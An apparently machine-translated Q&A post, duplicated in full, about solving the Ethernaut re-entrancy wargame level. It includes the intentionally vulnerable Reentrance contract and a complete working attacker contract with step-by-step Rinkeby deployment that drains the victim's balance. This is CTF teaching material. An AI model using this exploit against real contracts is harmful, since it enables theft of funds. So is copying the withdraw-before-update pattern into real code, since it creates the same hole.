由于混音上的 gas 错误,重入代码未执行
reentrancy code not executing due to gas error on remix
我正在通过 ethernaut 挑战重新进入:https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D
我想我已经击中了隧道视野,因为我在混音中不断收到这个错误,我真的不知道为什么:
Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending?
execution reverted
这是我用来攻击合约的代码:
pragma solidity ^0.8.0;
import "./vic.sol";
contract getether{
Reentrance public reenter;
constructor(address payable _victim){
reenter = Reentrance(_victim);
}
function start() public {
reenter.donate{value : 0.001 ether, gas : 4000000}(address(this));
}
fallback() external payable {
if(address(reenter).balance != 0){
reenter.withdraw(0.001 ether);
}
}
}
提前致谢
步骤
1。在混音中创建 vic.sol
(来自 Ethernaut re-entrance level 的代码。我只更改了 math.sol 导入)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
2。在 Rinkeby 部署 vic.sol
在 Rinkeby vic.sol 中部署,使用来自 Metamask 的一些帐户(称为帐户 1)。
另一种选择:在 Rinkeby 中部署合约,从 Ethernaut 站点,使用“获取新实例”按钮和控制台(我想你已经知道了)
你可以看到我部署的合约here。
(它是从 Ethernaut 站点部署的)
3。在 2 (vic.sol)
中创建的混音合约中导入
完成前一点的交易后,获取合约地址并导入 remix(字段“地址”)。
4。将以太币发送到在 1 (vic.sol)
中创建的合约
使用账户 1,发送 1 以太币 到合约 vic.sol。
使用“donate”方法并将合约地址(在1中创建)作为“address_to”参数。
5。在混音中创建 attack.sol
重要提示:
- 在 Metamask 中使用另一个帐户(与帐户 1 不同)
- 输入“address_victim”vic.sol 地址
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./vic.sol";
contract ReentranceAttacker {
Reentrance public reenter;
uint256 initialDeposit;
constructor(address payable _victim) {
reenter = Reentrance(payable(_victim));
}
function attack() external payable {
require(msg.value >= 1 ether, "send >= 1 ether");
// first deposit some funds
initialDeposit = msg.value;
reenter.donate{value: initialDeposit}(address(this));
// withdraw these funds over and over again because of re-entrancy issue
callWithdraw();
}
receive() external payable {
// re-entrance called by reenter
callWithdraw();
}
function callWithdraw() private {
// this balance correctly updates after withdraw
uint256 challengeTotalRemainingBalance = address(reenter).balance;
// are there more tokens to empty?
bool keepRecursing = challengeTotalRemainingBalance > 0;
if (keepRecursing) {
// can only withdraw at most our initial balance per withdraw call
uint256 toWithdraw =
initialDeposit < challengeTotalRemainingBalance
? initialDeposit
: challengeTotalRemainingBalance;
reenter.withdraw(toWithdraw);
}
}
}
6。部署 attack.sol 到 Rinkeby
部署 attack.sol 到 Rinkeby。
查看我的合约已部署 here.
7。攻击合约
将 1 个以太币放入价值中并在已部署的合约中按“攻击”attack.sol。
交易完成后,您会看到合约中有 2.001 以太币 (attack.sol) 余额和 0 以太币 y vic.sol 余额。
攻击合约余额:
vic合约余额:
关于“2.001 以太币”的注释:
- 0.001 来自 Ethernaut(当使用“获取新实例”按钮部署合约时,他们将该值传输到合约)
- 来自受害者的 1 个以太币
- 来自攻击者(你)的 1 个以太币
仅此而已。你可以看到合同有效:
(向 Ethernaut 提交解决方案)
我正在通过 ethernaut 挑战重新进入:https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D 我想我已经击中了隧道视野,因为我在混音中不断收到这个错误,我真的不知道为什么:
Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending?
execution reverted
这是我用来攻击合约的代码:
pragma solidity ^0.8.0;
import "./vic.sol";
contract getether{
Reentrance public reenter;
constructor(address payable _victim){
reenter = Reentrance(_victim);
}
function start() public {
reenter.donate{value : 0.001 ether, gas : 4000000}(address(this));
}
fallback() external payable {
if(address(reenter).balance != 0){
reenter.withdraw(0.001 ether);
}
}
}
提前致谢
步骤
1。在混音中创建 vic.sol
(来自 Ethernaut re-entrance level 的代码。我只更改了 math.sol 导入)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
2。在 Rinkeby 部署 vic.sol
在 Rinkeby vic.sol 中部署,使用来自 Metamask 的一些帐户(称为帐户 1)。
另一种选择:在 Rinkeby 中部署合约,从 Ethernaut 站点,使用“获取新实例”按钮和控制台(我想你已经知道了)
你可以看到我部署的合约here。 (它是从 Ethernaut 站点部署的)
3。在 2 (vic.sol)
中创建的混音合约中导入完成前一点的交易后,获取合约地址并导入 remix(字段“地址”)。
4。将以太币发送到在 1 (vic.sol)
中创建的合约使用账户 1,发送 1 以太币 到合约 vic.sol。 使用“donate”方法并将合约地址(在1中创建)作为“address_to”参数。
5。在混音中创建 attack.sol
重要提示:
- 在 Metamask 中使用另一个帐户(与帐户 1 不同)
- 输入“address_victim”vic.sol 地址
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./vic.sol";
contract ReentranceAttacker {
Reentrance public reenter;
uint256 initialDeposit;
constructor(address payable _victim) {
reenter = Reentrance(payable(_victim));
}
function attack() external payable {
require(msg.value >= 1 ether, "send >= 1 ether");
// first deposit some funds
initialDeposit = msg.value;
reenter.donate{value: initialDeposit}(address(this));
// withdraw these funds over and over again because of re-entrancy issue
callWithdraw();
}
receive() external payable {
// re-entrance called by reenter
callWithdraw();
}
function callWithdraw() private {
// this balance correctly updates after withdraw
uint256 challengeTotalRemainingBalance = address(reenter).balance;
// are there more tokens to empty?
bool keepRecursing = challengeTotalRemainingBalance > 0;
if (keepRecursing) {
// can only withdraw at most our initial balance per withdraw call
uint256 toWithdraw =
initialDeposit < challengeTotalRemainingBalance
? initialDeposit
: challengeTotalRemainingBalance;
reenter.withdraw(toWithdraw);
}
}
}
6。部署 attack.sol 到 Rinkeby
部署 attack.sol 到 Rinkeby。 查看我的合约已部署 here.
7。攻击合约
将 1 个以太币放入价值中并在已部署的合约中按“攻击”attack.sol。
交易完成后,您会看到合约中有 2.001 以太币 (attack.sol) 余额和 0 以太币 y vic.sol 余额。
攻击合约余额:
vic合约余额:
关于“2.001 以太币”的注释:
- 0.001 来自 Ethernaut(当使用“获取新实例”按钮部署合约时,他们将该值传输到合约)
- 来自受害者的 1 个以太币
- 来自攻击者(你)的 1 个以太币
仅此而已。你可以看到合同有效: (向 Ethernaut 提交解决方案)